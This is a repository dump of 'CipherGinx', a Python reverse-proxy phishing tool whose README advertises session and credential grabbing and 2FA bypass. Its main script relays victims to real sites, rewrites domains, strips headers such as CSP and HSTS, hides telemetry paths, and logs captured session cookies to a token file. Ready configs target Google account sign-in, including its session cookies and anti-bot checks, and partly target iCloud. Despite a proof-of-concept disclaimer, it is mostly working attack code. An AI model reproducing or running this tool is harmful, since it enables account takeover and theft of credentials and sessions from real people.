├── .gitignore
├── LICENSE
├── README.md
├── UPDATES
├── bin
├── generate
└── generate.exe
├── cert
├── readme.txt
└── server.pem
├── cipherginx.py
├── config
├── example.py
├── gconfig.py
└── iconfig.py
├── helper.py
└── requirements.txt
/.gitignore:
--------------------------------------------------------------------------------
1 | __pycache__
2 | log.txt
3 | token.txt
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2021 Ab
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # CipherGinx 
2 | #### Advanced phishing tool used for session & credential grabbing and bypassing 2FA using man-in-the-middle attack with standalone reverse proxy server.
3 |
4 | 
5 | 
6 | 
7 | 
8 |
9 | 
10 |
11 | ## Description
12 | This tool is used for advanced phishing attacks using reverse proxy. It can also bypass **2FA** or **2-factor authorization**. Captured tokens will be written in the file `token.txt` on successful phish. Attacker can use this tool to phish victim with any website by creating a suitable configuration and using a signed **SSL\TLS certificate**(victim will see `https` connection). Author has already tested it with **gmail, outlook & icloud**, however no orginal config has been uploaded here for security purposes. This tool is only to be used as a POC to understand advanced phishing and for **Red Teaming** purposes.
13 |
14 |
15 | #### Advantages over other similar tools:
16 | - This tool lets you modify anything in the website to be used for phishing.
17 | - Other tools have restriction like you can not replace **response headers or request body**, or you need to use third party tools along with them.
18 | - You can also block certain paths. Tool returns `[200 ok]` response to those paths without any body, to avoid any suspicion.
19 | - Supports **regex**.
20 | - Supports TCP connection over `SSL/TLS`. Use your own signed certificates.
21 | - Supports http1, http1.1 & http2 connections.
22 | - Comparably smaller config files because of path based modification and fast to make.
23 | - You do not have to enter whole URL path in the `config.py` files. You can just enter part of URL path and tool will automatically match it.
24 |
25 |
26 | ## Options
27 | ```
28 | cipherginx.py [-h] [-v] [-l {info,debug,error}] [config]
29 |
30 | positional arguments:
31 | config select config to run
32 |
33 | optional arguments:
34 | -h, --help show this help message and exit
35 | -v, --version show tool version
36 | -l {info,debug,error}, --level {info,debug,error}
37 | logging level
38 |
39 | Example:
40 | cipherginx.py myconfig -l debug
41 | or
42 | cipherginx.py -l debug myconfig
43 | ```
44 |
45 | ## Usage
46 | *In order to use this tool `python3` is required.*
47 | To install python in windows get it from [here](https://www.python.org/downloads/).
48 |
49 | - For help type `python cipherginx -h`.
50 | - If you are using port 443(for ssl/tls), run tool with `sudo`.
51 | - Use your own cert for **ssl/tls** & put it in `cert` folder with name `server.pem`.
52 | - Given cert can be used but it is **unsigned**.
53 | - Put your `config.py` files in config folder.
54 |
55 | ## Config Structure
56 | Config files are structured as sub lists inside a list with two/three items, where first item is the `path` on which that particular task is to be executed.
57 |
58 | Each sublist acts as task. For each replacement you have to add one sublist.
59 |
60 | `path` can be just some part of the URL where the task is to be executed.
61 |
62 | Use `'' (blank single quotes)` if you want to apply that replacement on all the URLs.
63 |
64 |
65 | **Basic configuration:**
66 |
67 | | variable | use |
68 | |--- | --- |
69 | |`hostname` | {target website} |
70 | |`isSSL` | {http or https} |
71 | |`server` | {your domain} |
72 | |`port` | {port to run on} |
73 |
74 | **Phishing configuration:**
75 |
76 | | list | use |
77 | | --- | --- |
78 | |`inject_domain` | [domain to be replaced, domain to be replaced with] |
79 | |`req_headers` | [path, headers in dict format] |
80 | |`resp_headers` | [path, headers in dict format] |
81 | |`req_body` | [path, string to be replaced, string to be replaced with] |
82 | |`resp_body` | [path, string to be replaced, string to be replaced with] |
83 | |`block_paths` | [paths] |
84 | |`get_cookie` | [cookie names] |
85 |
86 | ## Disclaimer
87 | *This tool is merely a POC of what attackers can do. Author is not responsible for any use of this tool in any nefarious activity.*
88 | *Configs given as an example here are anti script-kiddies.*
89 |
90 | ## License
91 | **cipherginx** is made by **@cipheras** and is released under the terms of the 
92 |
93 | ## Contact [](https://twitter.com/intent/tweet?text=Hi:&url=https%3A%2F%2Fgithub.com%2Fcipheras%2Fcipherginx)
94 | > Feel free to submit a bug, add features or issue a pull request.
95 |
96 |
--------------------------------------------------------------------------------
/UPDATES:
--------------------------------------------------------------------------------
1 | v1.5
2 | - resolved anti-bot implementation related issues
3 |
4 | v1.4
5 | - implemented google anti-botguard
6 | - resolved some timestamp related issues in cookies
7 | - saving all tokens generated instead of recent one in token.txt file
--------------------------------------------------------------------------------
/bin/generate:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/cipheras/cipherginx/b4d7403720d6d43384f41e4a55fa2ad690b5458d/bin/generate
--------------------------------------------------------------------------------
/bin/generate.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/cipheras/cipherginx/b4d7403720d6d43384f41e4a55fa2ad690b5458d/bin/generate.exe
--------------------------------------------------------------------------------
/cert/readme.txt:
--------------------------------------------------------------------------------
1 | - Put your server.pem file in this dir for HTTPS connection.
2 |
3 | - An unsigned server.pem is present as an example to run localhost server.
4 |
5 | - Do not use this pem file for main server.
--------------------------------------------------------------------------------
/cert/server.pem:
--------------------------------------------------------------------------------
1 | -----BEGIN RSA PRIVATE KEY-----
2 | MIIEowIBAAKCAQEArBLnxDFWk3uRn5LyIpEpG1TUMiUJaFVm8DV+NNgwPceiy34v
3 | fEA6mxpVdA1QOS9bqRvxxgBCAN8qZzzwymEwJKb3fjyhpVeORHAusv2bZ/OpXwat
4 | sMkQttUtqBAfHRdIyXiqX13h9X6v6d6+MIqO1LRc+VIqvWurqDid9/Xfw5Rf1HeS
5 | kbDX7pXwWXxpCGWVW0OtrGaeytiLNzq5d2PB9cLsvFMbJrTA4IJkif60V3kWxYLi
6 | LCJIes0ESpGsgUA5YsD02oCEm+yGOe3+FTDmbEJo51meMIqbEGudndUq+0zWIlVq
7 | CsSre1/9xzM3etC2UgJ9cvlanmStF4fylQ/rIwIDAQABAoIBAHb5R1hGiMbGPGSp
8 | 1FMELPjhySm2o++IhPj284EULR66JpwubiSpwBu3tHfeMKapUOX3FU7CpOA3bPke
9 | kJpNYl0lOKAGyfkpNYuqSQ+m+8l/Fo9Gbdd63dycPsoiA3E4xTHQBXSU1APKiVTZ
10 | loS3eJQm9NXJ8xUvGevg4ZAtZ36wuEJ6vI7LjprG3E/lJcah2P/AvM+dJyu3oqgG
11 | nKKgFA6ggA3ml7qMvP5Lo4NtmDRr0/O9KHFeDXYKKx/BJgniGgT15tLrG4m40xow
12 | 9T4asmYGtRFaf032aMqwWTX+B8gBaVw8W3HLBO4p5VQTRj6NhFNkD+YJz2m5qGkH
13 | oryLsHECgYEA4G1M+AmF4UGf5QQxMeS7/NfPEOBTZ+S7Dlcw7R007FeeHr6t3o7v
14 | iXd6fv5xaNvJIdUNoS4moR8F/0S2No+dpRZBRIVhrRuvn4HES9JtWTTerOjXoT3f
15 | YG3uhAOqGEbpaFhIBHq2TWNJFXlMQvCa6nGPAc4dV7z+RKvB2wb9yZsCgYEAxEgd
16 | xH572LbFllNqYWHvNk2gr/sv7UkRo3PV9C+r336x6pTEtnFFe1LnSc1rgEXaKDqO
17 | tbzs12tIMOR0kNu9+vljWJQRkX38wEj9Zqyuysxp+JGaX6eu9YuYgbpaRWMORrC/
18 | 2LkhtpxjERsXi6rfLXIcxAgaEFcmAHQLZwyi4RkCgYEA0pXdDjUpWceROHzpiG6f
19 | 8s2xr50+xhL7bqZj82pfeZFxflnfniEzJSNmXvl0AzeQkF1xL5e1iaQppXCdJa82
20 | 9mxei+Q4Vg3PinVict8d2gHhHBBUHSmIi9w7XcZued84Lr//u6xFmXIbZrnt1DYe
21 | tvQdg00bfXOKh3c/LL1vsBcCgYB6EPNaQOLaWog0vbmZyGMQ3WQCLW+X3Oo4QZCc
22 | ZI0517vjzBMt9vGkCWHHVxX01vweKpSX119fdNuXdGw9rjrO+wtaifMHDVgDaSEW
23 | Gmw1uLxqlnpv5IN9NwxoGTGMl1bIhaE5saCSxV0ixTt2Y5SZ2a6kBvnWkawTeheh
24 | RY2B+QKBgHODxMZA89uep03QS6y2hy32Hr9pLp/ZSoXLXjjzTBAVgbgyB22eayQv
25 | 3q58Bi0ZTr3eS7vb1GLrieQw4zIoL1zZlSvGDf7/UvF2PgLIDWpzGNY3HJMfpt1O
26 | heby3SjE1wUpH4Z11XUM82yw9BBW4Hm87RvTrFWvg+ojtDAIU5Or
27 | -----END RSA PRIVATE KEY-----
28 | -----BEGIN CERTIFICATE-----
29 | MIICwzCCAaugAwIBAgIJAN0jMv3d4OolMA0GCSqGSIb3DQEBBQUAMBQxEjAQBgNV
30 | BAMTCWxvY2FsaG9zdDAeFw0yMTA1MDgxNjA2MzRaFw0zMTA1MDYxNjA2MzRaMBQx
31 | EjAQBgNVBAMTCWxvY2FsaG9zdDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
32 | ggEBAKwS58QxVpN7kZ+S8iKRKRtU1DIlCWhVZvA1fjTYMD3Host+L3xAOpsaVXQN
33 | UDkvW6kb8cYAQgDfKmc88MphMCSm9348oaVXjkRwLrL9m2fzqV8GrbDJELbVLagQ
34 | Hx0XSMl4ql9d4fV+r+nevjCKjtS0XPlSKr1rq6g4nff138OUX9R3kpGw1+6V8Fl8
35 | aQhllVtDraxmnsrYizc6uXdjwfXC7LxTGya0wOCCZIn+tFd5FsWC4iwiSHrNBEqR
36 | rIFAOWLA9NqAhJvshjnt/hUw5mxCaOdZnjCKmxBrnZ3VKvtM1iJVagrEq3tf/ccz
37 | N3rQtlICfXL5Wp5krReH8pUP6yMCAwEAAaMYMBYwFAYDVR0RBA0wC4IJbG9jYWxo
38 | b3N0MA0GCSqGSIb3DQEBBQUAA4IBAQCfc4FLZ1hDcI908HCp26FxIH4hRUsoTuWv
39 | ubtbkmcY+FuNGYuGsGfxuPNLjF0iTo/b9PQwfRGuhTjm82rcUM6/U5YJcD2g5bRU
40 | GVA6BYUYnbotRI4BQsA6GIpxC4uMW7muCoUyeMLXIHKIlTVBSy6DZX3ezophSjh5
41 | /Hms/iEQyi50Vj2uwESXYEyMfQ9STl5U3OSBkRE7PdCjCT6PKcMMzGlELN3I28M8
42 | VL3jrkV/OLUErvy74o8YZTaDCMzjyA+aYgifX8DAP3z4nPnEns7NK2oZmQkURRMG
43 | g+d7ph/3r/jk+gLlN1RrTGKfn9xgRbM1F5XRbJS8k5jHfP+STvpG
44 | -----END CERTIFICATE-----
45 |
--------------------------------------------------------------------------------
/cipherginx.py:
--------------------------------------------------------------------------------
1 | #! /usr/bin/env python3
2 |
3 | # from os import execlpe
4 | import subprocess
5 | import requests, json, time, re
6 | from datetime import datetime
7 | from sys import exit, platform
8 | import argparse, logging, ssl
9 | from http.cookies import SimpleCookie
10 | from helper import *
11 | from http.server import HTTPServer,BaseHTTPRequestHandler
12 | from socketserver import ThreadingMixIn
13 | from requests.packages.urllib3.exceptions import InsecureRequestWarning
14 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
15 | # from urllib.parse import unquote, quote_plus
16 |
17 | VERSION = 'v1.5'
18 | CONFIG = ''
19 | LEVEL = ''
20 |
21 | def banner():
22 | bnr = RED + '''
23 | ( ( ) ( ( ) )
24 | ( )\ ) )\ ) ( /( )\ ) ( )\ ) ( /( ( /(
25 | )\ (()/( (()/( )\()) ( (()/( )\ ) (()/( )\()) )\())
26 | (((_) /(_)) /(_)) ((_)\ )\ /(_)) (()/( /(_)) ((_)\ ((_)\
27 | )\___ (_)) (_)) _((_) ((_) (_)) /(_))_ (_)) _((_) __((_) ''' + GREEN + '''
28 | '''+RED+'''(('''+GREEN+'''/ __| |_ _| | _ \ | || | | __| | _ \ '''+RED+'''(_)'''+GREEN+''') __| |_ _| | \| | \ \/ / '''+PURPLE+'''
29 | | (__ | | | _/ | __ | | _| | / | (_ | | | | .` | > < '''+GREEN+'''
30 | \___| |___| |_| |_||_| |___| |_|_\ \___| |___| |_|\_| /_/\_\
31 | '''+RED+''' ====================================================================='''
32 | by = '''
33 | +-+ +-+ +-+ +-+ +-+ +-+ +-+ +-+
34 | |C| |i| |p| |h| |e| |r| |a| |s|
35 | +-+ +-+ +-+ +-+ +-+ +-+ +-+ +-+'''
36 | print(GREEN + bnr + RESET)
37 | print(CYAN + '\tCreated by: ' + GREEN + by + RESET)
38 | print(CYAN + '\tVersion: -~{ ' + RED + VERSION + CYAN + ' }~-\n' + RESET)
39 | time.sleep(1)
40 |
41 | def flags():
42 | description = BLUE+'['+GREEN+'+'+BLUE+'] Setup host, port, server & other details in config & run '+GREEN+'"sudo cipherginx.py config_name"'+BLUE+' to start the server' + RESET
43 | epilog = BLUE+'['+GREEN+'+'+BLUE+'] To use your own cert put it in the cert folder with name '+GREEN+'"server.pem"'+RESET
44 | parser = argparse.ArgumentParser(description=description, epilog=epilog)
45 | parser.add_argument('config', nargs='?' , help='select config to run')
46 | parser.add_argument('-v', '--version', help='show tool version', action='store_true')
47 | parser.add_argument('-l', '--level', help='logging level', choices=['info','debug','error'], default='info')
48 | args = parser.parse_args()
49 | if args.version:
50 | print(BLUE + VERSION + RESET)
51 | exit(0)
52 | elif args.config:
53 | global CONFIG
54 | CONFIG = args.config
55 | else:
56 | h = BLUE+'''
57 | .--, .--,
58 | ( ( \.---./ ) )
59 | '.__/o o\__.'
60 | {= ^ =}
61 | > - <
62 | ________________.""`-------`"".________________
63 | / \\
64 | \ '''+GREEN+'''\t\t Check -h or --help'''+BLUE+'''\t\t /
65 | / \\
66 | \_______________________________________________/
67 | ___)( )(___
68 | (((__) (__)))
69 | '''+RESET
70 | print(h)
71 | exit(0)
72 |
73 | if args.level:
74 | global LEVEL
75 | LEVEL = args.level
76 |
77 | def checkUpdate():
78 | try:
79 | logging.info('checking for updates')
80 | resp = requests.get('https://api.github.com/repos/cipheras/cipherginx/releases').json()
81 | version = resp[0]['tag_name']
82 | release_name = resp[0]['name']
83 | if version != VERSION:
84 | print(BLUE+'['+GREEN+'+'+BLUE+'] Update available...'+BLINK+GREEN+version+' ['+release_name+']'+RESET)
85 | except Exception as e:
86 | logging.warning(RED + 'failed to get update info')
87 | logging.debug(e, exc_info=True)
88 |
89 | def injectHeaders(oreq_header, url, post_body_len, path):
90 | str_req_header = str(oreq_header)
91 | for h in inject_domain:
92 | str_req_header = str_req_header.replace(h[1],h[0])
93 | oreq_header = eval(str_req_header)
94 | for _ in req_headers:
95 | if _[0] in path:
96 | oreq_header.update(_[1])
97 | print('\n##################### Proxy --request[injected]--> Host #####################')
98 | for k,v in list(oreq_header.items()):
99 | if k.lower()=='content-length' and v != '#':
100 | oreq_header.update({k:post_body_len})
101 | oreq_header.pop(k) if v=='#' else print(CYAN, k, ':', v, RESET)
102 | print(YELLOW + 'Injected headers in: ' + RESET + url)
103 | return oreq_header
104 |
105 | def injectRespHeaders(header, path):
106 | for _ in resp_headers:
107 | if _[0] in path:
108 | header.update(_[1])
109 | for k,v in _[1].items():
110 | if v=='#': header.pop(k)
111 | return header
112 |
113 | def injectReqBody(post_body, path):
114 | print(YELLOW + 'Injecting body in path:' + RESET)
115 | print(path)
116 | for d in inject_domain:
117 | post_body = str(post_body).replace(d[1],d[0])
118 | for _ in req_body:
119 | if _[0] in path:
120 | post_body = re.sub(_[1], _[2], post_body)
121 | print(BLUE, post_body, RESET)
122 | return eval(post_body)
123 |
124 | def injectRespBody(resp, path):
125 | for d in inject_domain:
126 | resp = str(resp).replace(d[0],d[1])
127 | for _ in resp_body:
128 | if _[0] in path:
129 | resp = resp.replace(_[1],_[2])
130 | print(YELLOW + 'Replaced {' + _[1] + '} with {' + _[2] + '}' + RESET)
131 | return eval(resp)
132 |
133 | def blockPaths(path):
134 | if path.split('?')[0] in block_paths or path in block_paths:
135 | print(YELLOW, 'Blocked path:', path, RESET)
136 | return True
137 | return False
138 |
139 | def parseCookie(cookie):
140 | cl = []
141 | for k,v in SimpleCookie(cookie).items():
142 | cook = {}
143 | if k in get_cookie or k.lower() in get_cookie:
144 | cook['name'] = k
145 | cook['value'] = v.value
146 | cook['domain'] = v['domain']
147 | cook['path'] = v['path']
148 | try:
149 | ts = datetime.strptime(v['expires'], '%a, %d-%b-%Y %H:%M:%S GMT').timestamp()
150 | except Exception as e:
151 | ts = v['expires']
152 | logging.warning(RED + 'different timestamp format, sending raw timestamp')
153 | logging.debug(e, exc_info=True)
154 | pass
155 | cook['expirationDate'] = int(ts)
156 | cl.append(cook)
157 | print(BGORANGE + json.dumps(cl) + RESET)
158 | try:
159 | with open('token.txt', 'a') as f:
160 | f.write(json.dumps(cl) + '\n')
161 | except Exception as e:
162 | logging.error(RED + 'failed to write cookies')
163 | logging.debug(e, exc_info=True)
164 |
165 | class ProxyHTTPRequestHandler(BaseHTTPRequestHandler):
166 | # protocol_version = 'HTTP/2.0'
167 | s = requests.Session()
168 |
169 | def do_HEAD(self):
170 | self.do_GET(body=False)
171 |
172 | def do_GET(self, body=True):
173 | sent = False
174 | try:
175 | logging.info('path::' + self.path)
176 | if blockPaths(self.path): return
177 | hn = hostname
178 | for _ in req_headers:
179 | if _[0] in self.path:
180 | for k,v in _[1].items():
181 | if k=='Host': hn=v
182 | url = 'https://' + hn + self.path.replace(domain,hostname.split('.',1)[1])
183 | # Parse request
184 | print('\n//'+self.command)
185 | print(LIGHTGREEN + url + RESET)
186 | req_header = self.parseHeaders()
187 | # Call the target hostname
188 | resp = self.s.get(url, headers=injectHeaders(req_header, url, self.headers['Content-Length'], self.path), verify=False, allow_redirects=True,)
189 | sent = True
190 | if resp.history:
191 | for r in resp.history:
192 | print('Redirection: '+BOLD+CYAN+'[',r.status_code,'] ',r.url, RESET)
193 | # Respond with the requested data
194 | self.sendRespHeaders(resp)
195 | if body:
196 | inj_resp = injectRespBody(resp.content, self.path)
197 | self.send_header('Content-Length', len(inj_resp))
198 | self.end_headers()
199 | self.wfile.write(inj_resp)
200 | else:
201 | self.send_header('Content-Length', len(resp.content))
202 | self.end_headers()
203 | return
204 | except Exception as e:
205 | logging.error(RED + str(e))
206 | logging.debug(e, exc_info=True)
207 | # exit()
208 | finally:
209 | # self.finish()
210 | if not sent:
211 | self.send_error(200, 'No Content')
212 | logging.info('sending [200] with no content to target')
213 |
214 | def do_POST(self, body=True):
215 | sent = False
216 | try:
217 | logging.info('path::'+self.path)
218 | if blockPaths(self.path): return
219 | hn = hostname
220 | for _ in req_headers:
221 | if _[0] in self.path:
222 | for k,v in _[1].items():
223 | if k=='Host': hn=v
224 | url = 'https://' + hn + self.path.replace(domain,hostname.split('.',1)[1])
225 | # Parse request
226 | print('\n//'+self.command)
227 | print(LIGHTGREEN + url + RESET)
228 | req_header = self.parseHeaders()
229 | # content-length injection
230 | if self.headers['Content-Length'] == None:
231 | content_len = 0
232 | else:
233 | content_len = int(self.headers['Content-Length'])
234 | post_body = self.rfile.read(content_len)
235 | print(GREEN, post_body, RESET)
236 | ## google-anti-botguard
237 | if '/accountlookup' in self.path:
238 | token = requests.get("http://localhost:8081?e="+re.findall('f.req=%5B%22.*?%22',str(post_body))[0].split('%22')[1]).text
239 | post_body = re.sub(b'identifier%22%2C%22%3C.*%22', b'identifier%22%2C%22%3C'+bytes(token,encoding='utf8')+b'%22', post_body)
240 | ##
241 | injbody = injectReqBody(post_body, self.path)
242 | # Call the target hostname
243 | resp = self.s.post(url, data=injbody, headers=injectHeaders(req_header, url, str(len(injbody)), self.path), verify=False,)
244 | sent = True
245 | if resp.history:
246 | for r in resp.history:
247 | print('Redirection: ' +BOLD+CYAN+ '[',r.status_code,'] ',r.url, RESET)
248 | print(BGGREEN + str(resp.content) + RESET)
249 | # Respond with the requested data
250 | self.sendRespHeaders(resp)
251 | if body:
252 | inj_resp = injectRespBody(resp.content,self.path)
253 | print(BGBLUE + str(inj_resp) + RESET)
254 | self.send_header('Content-Length', len(inj_resp))
255 | self.end_headers()
256 | self.wfile.write(inj_resp)
257 | else:
258 | self.send_header('Content-Length', len(resp.content))
259 | self.end_headers()
260 | return
261 | except Exception as e:
262 | logging.error(RED + str(e))
263 | logging.debug(e, exc_info=True)
264 | # exit()
265 | finally:
266 | # self.finish()
267 | if not sent:
268 | self.send_error(200, 'No Content')
269 | logging.info('sending [200] with no content to target')
270 |
271 | def parseHeaders(self):
272 | req_header = {}
273 | print('##################### Client --request--> Proxy #####################')
274 | for k,v in self.headers.items():
275 | print(CYAN, k, ':', v, RESET)
276 | req_header[k] = v
277 | return req_header
278 |
279 | def sendRespHeaders(self, resp):
280 | print('\n##################### Host --response--> Proxy --> Client #####################')
281 | self.send_response(resp.status_code)
282 | hl = ['content-encoding', 'transfer-encoding', 'content-length', 'x-frame-options', 'x-content-type-options', 'content-security-policy', 'content-security-policy-report-only', 'strict-transport-security', 'x-xss-protection']
283 | for k,v in injectRespHeaders(resp.headers, self.path).items():
284 | if k.lower() not in hl:
285 | for h in inject_domain:
286 | v = v.replace(h[0],h[1])
287 | print(CYAN, k, ':', v, RESET)
288 | self.send_header(k,v)
289 | if k.lower()=='set-cookie':
290 | parseCookie(v)
291 |
292 | class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
293 | """ Make our HTTP server multi-threaded """
294 |
295 | def runServer():
296 | try:
297 | logging.captureWarnings(True)
298 | logging.info('HTTP server is starting on port ' + str(port))
299 | server_address = (server, port)
300 | # httpd = HTTPServer(server_address, ProxyHTTPRequestHandler)
301 | httpd = ThreadedHTTPServer(server_address, ProxyHTTPRequestHandler)
302 | if isSSL:
303 | httpd.socket = ssl.wrap_socket(httpd.socket, server_side=True, certfile='cert/server.pem')
304 | if hostname=="accounts.google.com":
305 | subprocess.Popen(['bin/generate.exe']) if platform=='win32' else subprocess.Popen(['bin/generate'])
306 | logging.info('HTTP server is running as reverse proxy')
307 | httpd.serve_forever()
308 | except KeyboardInterrupt:
309 | logging.info('\nExiting...')
310 | logging.debug('ctrl + c pressed')
311 | httpd.server_close()
312 | time.sleep(1)
313 | print(CLEAR)
314 | exit(0)
315 | except Exception as e:
316 | logging.error(RED + str(e))
317 | logging.debug('check domain name and ssl cert', exc_info=True)
318 |
319 | if __name__ == '__main__':
320 | cwin()
321 | flags()
322 | if LEVEL=='error':
323 | logging.basicConfig(format=PURPLE + '## %(asctime)s [%(levelname)s] - %(message)s' + RESET, level=logging.ERROR,)
324 | elif LEVEL=='debug':
325 | logging.basicConfig(format=PURPLE + '## %(asctime)s [%(levelname)s] - %(message)s' + RESET, level=logging.DEBUG,)
326 | else:
327 | logging.basicConfig(format=PURPLE + '## %(asctime)s [%(levelname)s] - %(message)s' + RESET, level=logging.INFO,)
328 | banner()
329 | checkUpdate()
330 | try:
331 | logging.info('loading config ' + CONFIG)
332 | exec('from config.' + CONFIG + ' import *')
333 | except Exception as e:
334 | logging.error(RED + 'no such config found' + RESET)
335 | logging.debug(e, exc_info=True)
336 | exit(1)
337 | runServer()
338 |
--------------------------------------------------------------------------------
/config/example.py:
--------------------------------------------------------------------------------
1 | #! /usr/bin/env python3
2 |
3 | hostname = 'xyz.com'
4 | isSSL = True
5 | server = 'localhost'
6 | port = 443
7 | domain = server if port in [443,80] else '{}:{}'.format(server,port)
8 |
9 | inject_domain = [
10 | ['sub.xyz.com', 'sub.'+domain],
11 | ['dom.xyz.com', 'dom.'+domain],
12 | ]
13 |
14 | req_headers = [
15 | ['', {'Connection':'close'}],
16 | ['/js/example.js', {'Host':'sub.xyz.com'}],
17 | ['/static', {'Host':'sub.xyz.com'}],
18 | ]
19 |
20 | resp_headers = [
21 | ['', {}]
22 | ]
23 |
24 | req_body = [
25 | ['klajndf/alif/akjdf', 'original', 'replaced'],
26 | ]
27 |
28 | resp_body = [
29 | # # ['', 'https', 'http'],
30 | ['', 'string to be replaced', 'string to be replaced with'],
31 | ['/signin', 'Sign in', 'Hack it'],
32 | ]
33 |
34 | block_paths = [
35 | '/cspreport',
36 | ]
37 |
38 | get_cookie = [
39 | 'ID',
40 | 'TOKEN',
41 | ]
42 |
43 |
--------------------------------------------------------------------------------
/config/gconfig.py:
--------------------------------------------------------------------------------
1 | #! /usr/bin/env python3
2 |
3 | hostname = 'accounts.google.com'
4 | isSSL = True
5 | server = 'localhost'
6 | port = 443
7 | domain = server if port in [443,80] else '{}:{}'.format(server,port)
8 |
9 | inject_domain = [
10 | ['apis.google.com','apis.'+domain],
11 | ['ssl.gstatic.com', 'ssl.'+domain],
12 | ['accounts.youtube.com', 'youtube.'+domain],
13 | ['content.googleapis.com', 'content.'+domain],
14 | ['accounts.google.com', 'accounts.'+domain],
15 | ['www.google.com', 'www.'+domain],
16 | ['myaccount.google.com', 'myaccount.'+domain],
17 | ]
18 |
19 | req_headers = [
20 | ['', {'Connection':'close'}],
21 | ['/js/base.js', {'Host':'apis.google.com'}],
22 | ['_/scs/apps-static', {'Host':'apis.google.com'}],
23 | ['/cryptauth/v1/authzen/awaittx', {'Host':'content.googleapis.com'}],
24 | ['/accounts/static/_/js', {'Host':'ssl.gstatic.com'}],
25 | ['/accounts/embedded/', {'Host':'ssl.gstatic.com'}],
26 | ['/accounts/embedded/', {'Host':'ssl.gstatic.com'}],
27 | ['/CheckConnection', {'Host':'accounts.youtube.com'}],
28 | ['favicon.ico', {'Host':'www.google.com'}]
29 | ]
30 |
31 | resp_headers = [
32 | ]
33 |
34 | req_body = [
35 | ]
36 |
37 | resp_body = [
38 | # # ['', 'https', 'http'],
39 | ['', 'https://play.google.com/log?format=json&hasfast=true', '//'],
40 | ['/', 'Sign in', 'FAkE GoOglE'],
41 | ['/js/base.js','google(rs)?\.com', domain],
42 | ['', 'accounts.'+domain+'/CheckCookie','google.com'],
43 | ]
44 |
45 | block_paths = [
46 | '/cspreport',
47 | '/signin/v2/_/common/diagnostics/',
48 | '/_/common/diagnostics/',
49 | '/log',
50 | '/jserror',
51 | '/signin/v2/jserror',
52 | 'CheckConnection',
53 | ]
54 |
55 | get_cookie = [
56 | 'SID',
57 | 'HSID',
58 | 'SSID',
59 | 'APISID',
60 | 'SAPISID',
61 | 'NID',
62 | 'GAPS',
63 | 'LSID',
64 | 'ACCOUNT_CHOOSER',
65 | ]
66 |
67 |
--------------------------------------------------------------------------------
/config/iconfig.py:
--------------------------------------------------------------------------------
1 | #! /usr/bin/env python3
2 |
3 | hostname = 'icloud.com'
4 | isSSL = True
5 | server = 'ilocal.dd'
6 | port = 443
7 | domain = server if port in [443,80] else '{}:{}'.format(server,port)
8 |
9 |
10 | inject_domain = [
11 | ['icloud.developer.apple.com', 'icloud.developer.'+domain],
12 | ['icloud.com.cn', 'cn.'+domain],
13 | ['iCloud.com.cn', 'cn.'+domain],
14 | ['cdn.apple-cloudkit.com', 'cdncloud.'+domain],
15 | ['setup.icloud.com', 'setup.'+domain],
16 | ['appleid.cdn-apple.com', 'appleidcdn.'+domain],
17 | ['idmsa.apple.com.cn', 'cnidmsa.'+domain],
18 | ['idmsa.apple.com', 'idmsa.'+domain],
19 | ['feedbackws.apple-cloudkit.com', 'feedbackws-cloudkit.'+domain],
20 | ['feedbackws.icloud.com', 'feedbackws.'+domain],
21 | ['www.apple.com', 'wwwapple.'+domain],
22 | ['appleid.apple.com', 'appleid.'+domain],
23 | ['id.apple.com', 'id.'+domain],
24 | ['api.apple-cloudkit.com', 'apicloudkit.'+domain],
25 | ['support.apple.com', 'support.'+domain],
26 | ['iforgot.apple.com', 'iforgot.'+domain],
27 | ['signin.apple.com', 'signin.'+domain],
28 | ['gsa.apple.com', 'gsa.'+domain],
29 | ['icloud.com', domain],
30 | ['iCloud.com', domain],
31 | ['apple.com', 'apple.'+domain],
32 | ]
33 |
34 | req_headers = [
35 | ['', {'Host':'www.icloud.com', 'Accept-Encoding':'gzip, deflate', 'Connection':'close'}],
36 | ['appleauth/auth', {'Host':'idmsa.apple.com', }],
37 | ['jslog', {'Host':'idmsa.apple.com',}],
38 | ['reportRaw', {'Host':'feedbackws.icloud.com'}],
39 | ['reportStats', {'Host':'feedbackws.icloud.com'}],
40 | ['setup/ws/1/', {'Host':'setup.icloud.com'}],
41 | ['/authService.latest.min.js', {'Host':'appleid.cdn-apple.com'}],
42 | ['appleauth/static', {'Host':'appleid.cdn-apple.com'}],
43 | ['ck/2', {'Host':'cdn.apple-cloudkit.com'}],
44 | ['/ac/', {'Host':'www.apple.com'}],
45 | ['wss/fonts', {'Host':'www.apple.com'}],
46 | ['password/verify', {'Host':'iforgot.apple.com'}],
47 | # ['static/cssj', {'Host':'iforgot.apple.com'}],
48 | # ['static/jsj', {'Host':'iforgot.apple.com'}],
49 | # ['images/global', {'Host':'iforgot.apple.com'}],
50 | ]
51 |
52 | resp_headers = [
53 | ['etup/ws/1/validate', {'Access-Control-Allow-Origin': 'https://www.ilocal.dd', 'Access-Control-Allow-Credentials': 'true'}],
54 | ['', {'Accept-Encoding':'gzip, deflate'}],
55 | ]
56 |
57 | req_body = [
58 | ]
59 |
